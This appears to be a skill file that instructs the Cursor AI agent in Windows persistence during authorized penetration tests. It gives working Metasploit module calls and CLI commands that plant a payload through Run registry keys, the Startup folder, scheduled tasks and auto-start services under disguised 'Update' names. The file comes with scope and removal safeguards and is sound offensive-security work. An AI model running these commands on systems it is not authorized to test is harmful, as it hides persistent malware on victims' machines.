metasploit-cursor-harness: Skill for Cursor

Persistence Pentest

Prerequisites

• Target is in scope (scope/scope-master.txt, engagement ROE).
• Persistence deployment requires explicit ROE authorization. Default engagements document options only.
• Coordinate with client on detection, rollback, and removal windows.
• Load msf-post for session context and cleanup procedures.

Workflow

Task Progress:
- [ ] Confirm persistence is authorized in engagement roe.yaml
- [ ] Record current privilege level and OS build
- [ ] Enumerate viable vectors (registry, tasks, services, cron, SSH)
- [ ] Document technique, path, and cleanup steps
- [ ] Deploy only when explicitly authorized; schedule removal

Windows user-level persistence

Registry Run keys (HKCU)

MSF MCP (preferred):

msf_run_post_module(
  module_name="post/windows/manage/persistence_exe",
  engagement_id="<id>",
  session_id=<sid>,
  options={"EXE_PATH": "C:\\Users\\Public\\svc.exe", "STARTUP": "USER", "RENAME": "Update"}
)

CLI fallback:

reg add HKCU\Software\Microsoft\Windows\CurrentVersion\Run /v Update /t REG_SZ /d "C:\Users\Public\svc.exe" /f
copy payload.exe "$env:APPDATA\Microsoft\Windows\Start Menu\Programs\Startup\update.exe"

User scheduled tasks

MSF MCP (preferred):

msf_run_post_module(
  module_name="post/windows/manage/schtasks",
  engagement_id="<id>",
  session_id=<sid>,
  options={"EXE_PATH": "C:\\Users\\Public\\svc.exe", "NAME": "WindowsUpdate", "STARTUP": "USER"}
)

CLI fallback:

schtasks /create /sc onlogon /tn "WindowsUpdate" /tr "C:\Users\Public\svc.exe" /rl limited /f

Windows elevated persistence

Windows services

MSF MCP (preferred):

msf_run_post_module(
  module_name="post/windows/manage/persistence_exe",
  engagement_id="<id>",
  session_id=<sid>,
  options={"EXE_PATH": "C:\\Windows\\Temp\\svc.exe", "STARTUP": "SYSTEM", "RENAME": "UpdateSvc"}
)

CLI fallback:

sc create UpdateSvc binPath= "C:\Windows\Temp\svc.exe" start= auto
sc start UpdateSvc